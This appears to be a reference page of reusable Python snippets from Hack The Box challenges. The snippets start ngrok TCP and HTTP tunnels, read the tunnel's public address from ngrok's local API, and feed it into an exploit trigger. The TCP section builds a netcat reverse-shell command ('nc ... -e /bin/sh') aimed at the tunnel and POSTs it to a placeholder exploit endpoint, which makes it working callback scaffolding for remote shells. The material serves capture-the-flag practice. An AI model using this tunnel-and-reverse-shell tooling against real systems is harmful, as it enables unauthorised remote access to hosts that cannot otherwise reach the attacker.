Ngrok
ngrok TCP tunnel — start and retrieve public listener
A local ngrok TCP tunnel exposes a listener when the target cannot connect directly to the attacking host. The local ngrok API returns the public hostname and port used in the reverse-shell payload. Cleanup registered on the process handle terminates the tunnel when the Python interpreter exits.
import atexit
import subprocess
import time
ngrok_tunnels = "http://127.0.0.1:4040/api/tunnels"
def start_ngrok_tcp_listener(s):
try:
# send stdout and stderr to devnull to prevent ngrok from writing to terminal
ngrok_process = subprocess.Popen(f"exec ngrok tcp {LPORT}", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, text=True, shell=True)
atexit.register(ngrok_process.terminate)
except Exception as e:
print(f"[-] {Fore.RED}Could not start ngrok TCP listener. {e}")
sys.exit(1)
# give ngrok time to create the tunnel before querying its API
time.sleep(2)
try:
r = s.get(url=ngrok_tunnels, verify=False, timeout=10)
except Exception as e:
print(f"[-] {Fore.RED}Could not make request to ngrok API. {e}")
sys.exit(1)
ngrok_tunnel_list = r.json()["tunnels"]
ngrok_full_url = ngrok_tunnel_list[0]["public_url"]
ngrok_full_url_list = ngrok_full_url.split(":")
ngrok_url = ngrok_full_url_list[1][2:]
ngrok_port = ngrok_full_url_list[2]
print(f"[+] {Fore.LIGHTGREEN_EX}Obtained ngrok TCP listener: {ngrok_full_url}")
ngrok_details = ngrok_process, ngrok_url, ngrok_port
return ngrok_detailsWith shell=True, Python first starts a shell process to interpret the readable command string. Without exec, that shell would start ngrok as another child process, while the returned Popen handle would continue to identify the shell.
exec is a shell builtin that replaces the shell’s running program with ngrok without creating another process. The process identifier remains unchanged, so the existing Popen handle now identifies ngrok itself. atexit.register(ngrok_process.terminate) consequently terminates the tunnel when the Python interpreter exits.
Reverse-shell exploit trigger
The ngrok hostname and port build a generic netcat reverse shell. The target-specific payload, request field, and exploit endpoint remain as replacement points.
def send_exploit(s, ngrok_tcp_url, ngrok_tcp_port):
rev_shell_cmd = f"nc {ngrok_tcp_url} {ngrok_tcp_port} -e /bin/sh"
payload = f"<TARGET-SPECIFIC PAYLOAD CONTAINING: {rev_shell_cmd}>"
data = {
"<PAYLOAD_FIELD>": payload
}
try:
r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"[-] {Fore.RED}Could not send request.")
print(f"[+] {Fore.LIGHTGREEN_EX}Request sent.")payload incorporates the reverse-shell command, data carries the payload in the vulnerable field, and the POST reaches the target-specific exploit endpoint.
The tunnel starts before the reverse-shell listener and remains available while the exploit runs. The registered cleanup terminates it when the Python interpreter exits.
if __name__ == "__main__":
s = requests.Session()
ngrok_process, ngrok_tcp_url, ngrok_tcp_port = start_ngrok_tcp_listener(s)
# start the reverse-shell listener before sending the exploit payload
send_exploit(s, ngrok_tcp_url, ngrok_tcp_port)
# wait for the reverse-shell connection and close its listenerFind by: ngrok, tcp tunnel, public listener, callback, reverse shell, subprocess, local api, port forwarding, tunnel cleanup, exploit trigger, netcat · Source: HTB/PumpkinSpice
ngrok HTTP tunnel — start and retrieve public URL
A local ngrok HTTP tunnel exposes an HTTP server when the target cannot connect directly to the attacking host. The local ngrok API returns the complete public URL. Cleanup registered on the process handle terminates the tunnel when the Python interpreter exits.
import atexit
import subprocess
import time
ngrok_tunnels = "http://127.0.0.1:4040/api/tunnels"
def start_ngrok_http_tunnel(s, port):
try:
# send stdout and stderr to devnull to prevent ngrok from writing to terminal
ngrok_process = subprocess.Popen(f"exec ngrok http {port}", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, text=True, shell=True)
atexit.register(ngrok_process.terminate)
except Exception as e:
print(f"[-] {Fore.RED}Could not start ngrok HTTP tunnel. {e}")
sys.exit(1)
# give ngrok time to create the tunnel before querying its API
time.sleep(2)
try:
r = s.get(url=ngrok_tunnels, verify=False, timeout=10)
except Exception as e:
print(f"[-] {Fore.RED}Could not make request to ngrok API. {e}")
sys.exit(1)
ngrok_tunnel_list = r.json()["tunnels"]
ngrok_full_url = ngrok_tunnel_list[0]["public_url"]
print(f"[+] {Fore.LIGHTGREEN_EX}Obtained ngrok HTTP URL: {ngrok_full_url}")
ngrok_details = ngrok_process, ngrok_full_url
return ngrok_detailsWith shell=True, Python first starts a shell process to interpret the command string. The shell builtin exec replaces that shell’s running program with ngrok while retaining the same process identifier. The returned Popen handle therefore identifies ngrok itself, allowing atexit to stop the tunnel when the Python interpreter exits.
An HTTP tunnel returns a complete URL such as https://example.ngrok.app. The path required by the target is appended to this URL.
if __name__ == "__main__":
s = requests.Session()
ngrok_process, ngrok_http_url = start_ngrok_http_tunnel(s, 8000)
# use ngrok_http_url while the local HTTP server is runningFind by: ngrok, http tunnel, public url, host http server, expose local server, subprocess, local api, port forwarding, tunnel cleanup · Source: HTB/GhostlyTemplates